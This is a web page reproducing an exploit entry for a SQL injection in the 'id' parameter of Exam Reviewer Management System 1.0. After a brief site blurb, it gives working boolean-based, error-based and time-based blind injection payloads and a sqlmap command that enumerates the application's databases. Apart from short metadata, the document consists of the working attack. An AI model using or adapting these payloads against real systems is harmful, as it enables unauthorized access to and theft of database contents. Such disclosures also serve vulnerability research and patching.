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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
# Date: 2022-02-18
# Exploit Author:  Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: Windows 10/Kali Linux



Description – The ‘id’ parameter in Exam Reviewer Management System web
application is vulnerable to SQL Injection

Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1



POC:-



---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu



Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)

Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT
COUNT(*),CONCAT(0x71766a7071,(SELECT
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)
AND 'vqGg'='vqGg---



*SQLMAP COMMAND*



*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1
<http://127.0.0.1/erms/?p=take_exam&id=1>" -p id --dbs --level 3*